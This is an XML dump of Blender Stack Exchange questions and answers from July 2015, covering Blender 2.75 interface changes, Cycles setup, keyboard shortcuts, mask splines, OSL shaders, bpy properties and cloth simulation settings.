  <row Id="33937" PostTypeId="1" CreationDate="2015-07-14T02:02:31.533" Score="2" ViewCount="713" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7qLmZ.png&quot; alt=&quot;menu grayed out&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In blender 2.74 I can add a circle in object mode and change the number of sides, but in 2.75 I can't. I have to add the circle,enter edit mode and delete it, add it again and then i can edit. I add objects every second, I feel like I waste a lot of time. Is there a way to go back to the old behaviour?.&lt;/p&gt;&#xA;" OwnerUserId="3729" LastActivityDate="2015-07-14T02:02:31.533" Title="why the options to modify a primitive are grayed out in blender 2.75?" Tags="&lt;modeling&gt;&lt;objects&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-07-14T02:10:42.120" ContentLicense="CC BY-SA 3.0" />
  <row Id="33939" PostTypeId="1" CreationDate="2015-07-14T03:09:50.540" Score="2" ViewCount="222" Body="&lt;p&gt;I just upgraded to 2.75 and there isn't an option for cycles render in the engine drop down.  How do I access cycles render in the new environment?  It only list, blender render and blender game. &lt;/p&gt;&#xA;" OwnerUserId="15634" LastEditorUserId="241" LastEditDate="2015-07-14T13:11:25.217" LastActivityDate="2015-07-14T13:11:25.217" Title="Cycles isn't appearing in render engine drop down list" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33940" PostTypeId="2" ParentId="33933" CreationDate="2015-07-14T04:03:48.830" Score="3" Body="&lt;p&gt;There is no alpha channel behind the bars, just around the window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This image shows the alpha channel you have on your image.&#xA;To make it transparent use the following node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PKW60.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make the black areas of the images transparent you need to edit the image on an image editor (like photoshop or gimp), or add acolor ramp to control the transparency on a new mix shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YtsBl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-07-14T04:21:25.450" LastActivityDate="2015-07-14T04:21:25.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33941" PostTypeId="2" ParentId="6790" CreationDate="2015-07-14T04:03:49.003" Score="2" Body="&lt;p&gt;Based upon my experience, there are three things be required in the project you describe to ensure a minimal precision of 1 cm. First, Blender has a maximum order of magnitude of a dimension of 10,000 units, so for your 15 km project, you're going to want the project centered about the origin point so the minimum x, y, and z dimensions are a negative 7.500 km and the maximum x y and z dimensions are plus 7.500 km. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, it will be good practice to break the project down into multiple objects spread across multiple scenes. If there will be a checkpoint (guard shack) at the entrance located (to pull a location out of the air for the discussion) at 4.7 km in the positive x direction, and 5.9 miles in the positive y direction, make that guard shack as one or more independent object. As an independent object, you can track the dimensions of the guard shack / checkpoint to within 1 cm (actually smaller than that) more easily than tracking the four corners of the shack from the center point. Treating the guard shack separately also allows the guard shack to be constructed as multiple objects. This will be a necessity if at some point it is necessary or desirable to make some of the parts&amp;mdash;sliding windows, or swinging doors, for example&amp;mdash;movable. It is possible, of course, to collect all of the bits of the guard shack, and its accompanying devices (like entry gates) into a blender Group. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a precedent for making smaller groups of objects, not just within the main file, but moving some objects into other ~.blend files. Even if done on a full architectural plan, the architectural materials detailing the construction of the guard shack are going to e separate from the overall site plan. Putting some elements of the plan into other groups, or blend files is simply an extension of that already standard practice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third, Blender allows the movement of vertices (and groups of vertices) by changing values in the numeric boxes in the transform panel of the properties (&lt;kbd&gt;N&lt;/kbd&gt;) shelf. If you change the location of a vertex (or a set of vertices) using these numeric values, you can help maximize the chances of the precision you want. There are two caveats to this. First the numbers displayed in the dimension boxes of the Transform depend a bit upon the width of the button. If the Properties shelf is too narrow to accommodate a ten digit number (with decimal point), it will truncate (or round) the number to fit. Second you might not get the precision for each set of corner vertices of the hypothetical guard shack referred to above if you choose to use global attributes. However, you can get the center of the guard shack to within a centimeter from the global center, and if you switch to local transformation orientation for the guard shack, you can certainly come within a one centimeter level of precision in the local object or group of objects. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-07-14T04:03:49.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33942" PostTypeId="5" CreationDate="2015-07-14T04:44:25.147" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2015-07-14T04:44:25.147" LastActivityDate="2015-07-14T04:44:25.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33943" PostTypeId="4" CreationDate="2015-07-14T04:44:25.147" Score="0" Body="This tag is applied to questions involving modeling on geographic or astronomical scales, where special considerations may apply due to the size of the objects modeled." OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-07-14T07:34:31.820" LastActivityDate="2015-07-14T07:34:31.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33944" PostTypeId="2" ParentId="33939" CreationDate="2015-07-14T04:48:13.037" Score="3" Body="&lt;p&gt;First thing to check is in the Addons tab in the User Preferences:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;User Preferences &gt; Addons &gt; Render: Cycles Render Engine.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My best first guess is that the box for this option is unchecked.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-07-14T04:48:13.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33945" PostTypeId="1" CreationDate="2015-07-14T05:09:58.257" Score="2" ViewCount="2305" Body="&lt;p&gt;Is there a good printable keyboard shortcut sheet (that looks like a keyboard) for Blender 2.75? I found a really nice one here: &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Reference/Hotkeys/Map&quot; rel=&quot;nofollow&quot; title=&quot;Blender 2.4 Hotkeys&quot;&gt;Blender 2.4 Hotkeys&lt;/a&gt;, but that was created for version 2.4 in 2005... and 10 years is a long time to not update key bindings/interface. Is it still good or is there a nice, printable (aka won't kill an entire ink cartridge) version somewhere else? A Google search doesn't really give me anything above 2.6 or that's economically printable.&lt;/p&gt;&#xA;" OwnerUserId="15635" LastActivityDate="2019-04-01T06:34:22.767" Title="printable keyboard shortcuts" Tags="&lt;interface&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33946" PostTypeId="1" AcceptedAnswerId="34265" CreationDate="2015-07-14T06:01:13.807" Score="10" ViewCount="958" Body="&lt;pre&gt;&lt;code&gt;diffuse_toon(N, 0.5, 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've found out by reading through the specifications of OSL that N is a global variable, pertaining to normals, but I'm not certain on how to use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were to use a Normal Map node to get a vector from an image, how could I make it so I could plug it into an OSL shader and have it come out as a bump-mapped surface?&lt;/p&gt;&#xA;" OwnerUserId="7806" LastEditorUserId="7806" LastEditDate="2015-07-19T17:48:23.260" LastActivityDate="2016-06-05T14:56:53.533" Title="How would I add bump mapping on an OSL shader?" Tags="&lt;osl&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33947" PostTypeId="1" CreationDate="2015-07-14T06:07:10.260" Score="4" ViewCount="527" Body="&lt;p&gt;I wanted to create a rounded equilateral triangle mask.&#xA;I started by adding a circle, deleting one of the handles, and adjusting the angles of the other two&amp;hellip;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k7Thp.png&quot; alt=&quot;first&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;hellip;and then copying and rotating this arrangement twice:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R9ZpE.png&quot; alt=&quot;second&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'd like to join the vertices of the splines to close a triangle.&#xA;I tried&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;J&lt;/kbd&gt; and &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; for join, but these didn't work;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;F&lt;/kbd&gt; for face/edge, like in object edit mode, but this didn't work either;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; with all selected for &quot;Make Cyclic,&quot; but this didn't work (it made each individual spline cyclic).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I ended up just creating a wonky hexagon and zooming in to align the verts to &quot;good enough&quot; level:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4h9ub.png&quot; alt=&quot;wonky semi-solution&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's a better way to do this? How can I actually join the points?&lt;/p&gt;&#xA;" OwnerUserId="372" LastActivityDate="2015-07-14T07:58:37.133" Title="How can I join two splines in the mask editor?" Tags="&lt;compositor&gt;&lt;masking&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33948" PostTypeId="2" ParentId="33945" CreationDate="2015-07-14T06:38:15.647" Score="4" Body="&lt;p&gt;is &lt;a href=&quot;https://wiki.blender.org/uploads/1/14/Keyboardlayout_250.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://wiki.blender.org/uploads/1/14/Keyboardlayout_250.png&lt;/a&gt; no good printed in greyscale / low quality?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QLfLJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QLfLJ.png&quot; alt=&quot;here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Alternatively tufts has a nicely compiled (but incomplete) list of shortcuts per area:   &lt;a href=&quot;http://ocw.tufts.edu/data/71/1717950.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ocw.tufts.edu/data/71/1717950.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The tufts shortcuts might be handier as it doesn't try to cram all info onto a few keys which change depending on mode anyway. Unfortunately it doesn't list some of the more useful key combos ( vertex-slide &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;V&lt;/kbd&gt;)&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2019-04-01T06:34:22.767" CommentCount="0" CommunityOwnedDate="2015-07-14T06:53:13.500" ContentLicense="CC BY-SA 4.0" />
  <row Id="33949" PostTypeId="1" CreationDate="2015-07-14T07:25:36.173" Score="8" ViewCount="209" Body="&lt;p&gt;I am creating an animated manual for a device that has an external cable connected to it. The cable has a length (1m) and a diameter.&#xA;When I bend the cable, I would like to ensure that the length always remains the same. That means, the total length of the cable should always be 1m.&#xA;I use a BezierCurve bevelled with a circle. So the length of the BezierCurve has to be limited. &#xA;Is there a way to apply such a constraint to a BezierCurve?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for your help in advance&lt;/p&gt;&#xA;" OwnerUserId="15636" LastActivityDate="2015-07-14T09:43:06.210" Title="Restrict dimensions of cables" Tags="&lt;constraints&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33951" PostTypeId="2" ParentId="33238" CreationDate="2015-07-14T08:09:20.187" Score="2" Body="&lt;p&gt;I've done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/77slgB2JqGE&quot; rel=&quot;nofollow noreferrer&quot;&gt;Youtube:&lt;br/&gt;&lt;img src=&quot;https://www.youtube.com/upload_thumbnail?v=77slgB2JqGE&amp;amp;t=3&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/348/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=348&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all - seems that rigid bodies aren't working with armature-deformed meshes directly. But with some intermediate objects it is possible to make them. I made the chain: rigid proxy object (&quot;fake tip&quot;) and ball constrainted by empty (&quot;joint&quot;), this empty is child of &quot;fake tip&quot;, &quot;fake tip&quot; is child of last bone in armature. Also armature constrainted with IK and deforms mesh (&quot;tentacle&quot;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like you have to place additional rigid proxy objects for every bone where could be collision with other rigid bodies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made some different attempts with different combinations and only this one works for me. But hope somebody could make it simplier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added some screenshot:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/14KdL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1486" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2015-07-17T19:15:10.780" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33952" PostTypeId="1" CreationDate="2015-07-14T08:35:37.993" Score="1" ViewCount="195" Body="&lt;p&gt;I am working on (or rather designing without access to Blender) a material setup to make a texture tileable (see here: &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?372297-Addon-WIP-Automatic-materials-from-textures-in-Cycles/page3&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?372297-Addon-WIP-Automatic-materials-from-textures-in-Cycles/page3&lt;/a&gt;). I basically need to mix a texture with a copy of itself moved slightly. (The factor comes from a texture) It can't be done deterministically without having two image nodes, because I need two separate vectors to have two separate images. What I would like to do is to have a per-ray random number, that will let me alternate between the two vectors, thus removing the need to have two images (it is not a huge burden in theory, but when I need to have all texture maps doubled, it becomes a complicating factor.). Does Blender have such a feature?&lt;/p&gt;&#xA;" OwnerUserId="15637" LastActivityDate="2015-07-14T08:35:37.993" Title="Can Cycles generate a per-ray random number without OSL" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33953" PostTypeId="1" AcceptedAnswerId="33958" CreationDate="2015-07-14T08:37:42.093" Score="5" ViewCount="1288" Body="&lt;p&gt;I noticed that &lt;code&gt;bpy.props.CollectionProperty&lt;/code&gt; and &lt;code&gt;bpy.props.PointerProperty&lt;/code&gt; can both be used to collect custom properties (as is shown here: &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_release/bpy.props.html&quot; rel=&quot;noreferrer&quot;&gt;http://www.blender.org/api/blender_python_api_2_75_release/bpy.props.html&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also other examples on the internet, but I still can't figure out the difference between these two properties.&lt;/p&gt;&#xA;" OwnerUserId="15546" LastEditorUserId="15546" LastEditDate="2015-07-14T10:12:39.887" LastActivityDate="2015-07-14T10:30:39.423" Title="What is the difference between bpy.props.CollectionProperty and bpy.props.PointerProperty?" Tags="&lt;python&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33954" PostTypeId="2" ParentId="33949" CreationDate="2015-07-14T09:03:00.987" Score="5" Body="&lt;p&gt;I think it would be better to use tesselated cylinder with Curve modifier, length of cylinder remains constant, just modify bezier shape.&lt;/p&gt;&#xA;" OwnerUserId="1486" LastEditorUserId="1486" LastEditDate="2015-07-14T09:43:06.210" LastActivityDate="2015-07-14T09:43:06.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33955" PostTypeId="2" ParentId="33829" CreationDate="2015-07-14T09:14:20.503" Score="0" Body="&lt;p&gt;If you want to make sure you execute code exactly once in a game session I suggest to use a Python module.&#xA;A Python module acts as singleton (which means there exist only one instance at the time). It also survives any scene changes. You can take advantage of the fact that module level code is executed exactly once, at module load time. Modules gets loaded with the fist access to them (via call or via import)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should work unless you unload/reload the module - which is very unlikely.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Module Mode&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;runOnceDemo.py&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def initialize():&#xA;    'call runOnceDemo.initialize from your Python controller'&#xA;    pass &#xA;&#xA;print(&quot;This code runs exactly once&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Always -&gt; Python controller Module: runOnceDemo.initialize&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Script Mode&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;runOnceScript.py&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import runOnceDemo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Always -&gt; Python controller Script: runOnceScript&lt;/p&gt;&#xA;&#xA;&lt;p&gt;runOnceDemo.py&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print(&quot;This code runs exactly once&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope it helps&lt;/p&gt;&#xA;" OwnerUserId="13395" LastEditorUserId="13395" LastEditDate="2015-07-15T08:14:28.557" LastActivityDate="2015-07-15T08:14:28.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33956" PostTypeId="2" ParentId="33856" CreationDate="2015-07-14T10:08:17.330" Score="12" Body="&lt;p&gt;Here's a simulation of the situation (Blender 2.75).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p5t3H.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The parameters that I cosidered in this &quot;catalogue&quot; are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Resolution of surfaces (unsubdivided-&gt; first row; Collision object subdivided-&gt; second Row; Cloth object subdivided-&gt; third row; Both subdivided-&gt; fourth row)&lt;/li&gt;&#xA;&lt;li&gt;Friction (0.1 or 80)&lt;/li&gt;&#xA;&lt;li&gt;Repel Distance (0.001 or 1)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vuts0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By comparing the elements of the first row, I can say that it seems to be at least a little difference of the behavior when friction jumps from 0.1 to 80 (but is not that strong as one expect)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at the last element of the matrix (4-4): it is the one where friction reveal itself in a more convincing way..but there's another, which has the same behavior: 2-4. This led me to think that is also important to consider how many faces your collision object has.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now compare 2-4 with 2-2... also the max Repel distance influence the behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that changing only the Friction factor is not enough to run the sim as expected, but you have to deal at least with other two parameters:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;resolution of collision object (should be enough detailed, but more subd won't give more frictional effect apart from the contribute given by the fact that the faces are in range for a longer period)&lt;/li&gt;&#xA;&lt;li&gt;repulsion distance (act as a sort of detecting thershold, but more rep dist won't give more frictional effect)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Friction is the value that drives the pover of frictional effect, but it must be supported by other variables in order to affect the sim.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the blend of where the gif comes from:&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/349/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=349&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-07-14T20:35:59.360" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="33957" PostTypeId="1" CreationDate="2015-07-14T10:16:43.973" Score="1" ViewCount="135" Body="&lt;p&gt;I'm using Blender 2.74 and built the following scene:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Text_1 with explode modifier, dissolving in particle_system_1&lt;/li&gt;&#xA;&lt;li&gt;Text_2 with build modifier and particle_system_2 with harmonic field interacting with particle_system_1&lt;/li&gt;&#xA;&lt;li&gt;Object_1 with basic particle_system_3&lt;/li&gt;&#xA;&lt;li&gt;Object_2 with basic particle_system_4&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When playing animation (not rendering) Blender crashes. After removing particle_system_4, animation playback runs without crash. In Blender v2.63 it works fine also with particle_system_4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found the following on the web according this issue:&#xA;&lt;a href=&quot;https://developer.blender.org/T33112&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/T33112&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get the fixed version r51974 mentioned in the ticket?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank's a lot.&lt;/p&gt;&#xA;" OwnerUserId="15638" LastActivityDate="2015-07-14T10:16:43.973" Title="Adding particle system after explode modifier causes blender crash" Tags="&lt;particles&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-07-14T14:55:40.777" ContentLicense="CC BY-SA 3.0" />
  <row Id="33958" PostTypeId="2" ParentId="33953" CreationDate="2015-07-14T10:30:39.423" Score="3" Body="&lt;p&gt;A collection is an array of a set of properties. Every element in the array has the same properties (with individual values).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A pointer property is used to organize properties. The sub-attribute the pointer property is stored at will hold a set of properties. It is not an array of properties however.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Scene.collection&#xA;  Scene.collection.add()&#xA;  Scene.collection.remove()&#xA;  Scene.collection ...()&#xA;  Scene.collection[0]&#xA;    Scene.collection[0].name # Foo&#xA;    Scene.collection[0].val # 123&#xA;  Scene.collection[1]&#xA;    Scene.collection[1].name # Bar&#xA;    Scene.collection[1].val # 234&#xA;  Scene.collection[...]&#xA;    Scene.collection[...].name # Baz&#xA;    Scene.collection[...].val # 345&#xA;&#xA;Scene.pointer&#xA;  Scene.pointer.name # Foo&#xA;  Scene.pointer.val # 123&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-07-14T10:30:39.423" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33959" PostTypeId="2" ParentId="33913" CreationDate="2015-07-14T11:05:36.953" Score="1" Body="&lt;p&gt;The values differ because the rgb-values of the &lt;strong&gt;color picker aren't gamma corrected&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If I correct them like answered here &lt;a href=&quot;https://stackoverflow.com/a/17910665/3069477&quot;&gt;https://stackoverflow.com/a/17910665/3069477&lt;/a&gt; the colors are matching. I still get different RGB-Values but the difference is really small (rounding error).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Resulting Screenshot:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JmYdI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Thanks @someonewithpc!&lt;/p&gt;&#xA;" OwnerUserId="13978" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-07-14T11:05:36.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33960" PostTypeId="2" ParentId="33777" CreationDate="2015-07-14T11:06:06.607" Score="0" Body="&lt;p&gt;Due to lack of solution I gave up on trying this experiment in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also investigated V-Rep as possible alternative only to find out that it has same issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end it looks like I'll have to do that experiment (when I have time) in unity3d, because PhysX apparently does not have this stability problem.&lt;/p&gt;&#xA;" OwnerUserId="7889" LastActivityDate="2015-07-14T11:06:06.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33961" PostTypeId="2" ParentId="33812" CreationDate="2015-07-14T12:36:11.190" Score="1" Body="&lt;p&gt;There is a way in edit mode you might prefer if you select the wall faces and press Ctrl F and choose Solidify. The thickness appears in the operator on the left. The new faces are automatically highlighted so at that point, you can add the new faces to a new group. Then if you make further modifications and want the thickness different you can select the faces from the group, delete and redo.&lt;/p&gt;&#xA;" OwnerUserId="15639" LastActivityDate="2015-07-14T12:36:11.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33962" PostTypeId="1" AcceptedAnswerId="34046" CreationDate="2015-07-14T13:00:38.427" Score="4" ViewCount="3225" Body="&lt;p&gt;I have a few rocks in my scene. Lets say the scene is in space and I want to add some random rotation to the rocks. Since there are a few of them, I don#t want to go to every rocks properties and apply a driver by hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I create a driver that creates a random but laminar rotation on all axis and how can I copy that driver to multiple objects?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2016-10-24T15:29:27.883" Title="How do I create a driver with a random value and apply that driver to multiple objects?" Tags="&lt;python&gt;&lt;transforms&gt;&lt;drivers&gt;" AnswerCount="4" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33963" PostTypeId="1" CreationDate="2015-07-14T14:01:19.227" Score="4" ViewCount="980" Body="&lt;p&gt;Is it possible to pack the smoke cache files into the blend file, like can be done with images?&lt;br&gt;&#xA;How can I do that? I only need the cache of one single frame.&lt;/p&gt;&#xA;" OwnerUserId="6433" LastEditorUserId="2217" LastEditDate="2016-07-27T03:33:36.013" LastActivityDate="2020-02-04T21:03:09.390" Title="How to pack cache files?" Tags="&lt;smoke-simulation&gt;&lt;blend-files&gt;&lt;cache&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33966" PostTypeId="1" CreationDate="2015-07-14T14:54:16.603" Score="1" ViewCount="484" Body="&lt;p&gt;Really odd on this... using Blender 2.75... I started modelling and lost the objects from the 3d view, but they were still showing in the object lists on the outlier... I was able to copy them and continued working... when I did a test render I discovered that only the original lost objects were rendering and nothing that I had modelled over the previous 2/3hrs was showing up...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea what I did but I created another 3d view and the original bits showed up along with the layer buttons which had been missing from the screen which I thought was just a new feature from  2.75...!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Picture to show the 2 screens, top one doesn't render but bottom one does&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/axXPO.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea's what I've done?&lt;/p&gt;&#xA;" OwnerUserId="8417" LastEditorDisplayName="user1853" LastEditDate="2015-07-14T16:44:52.087" LastActivityDate="2016-03-02T03:35:16.140" Title="Render issue - Model doesn't appear to be on any layers and won't render" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
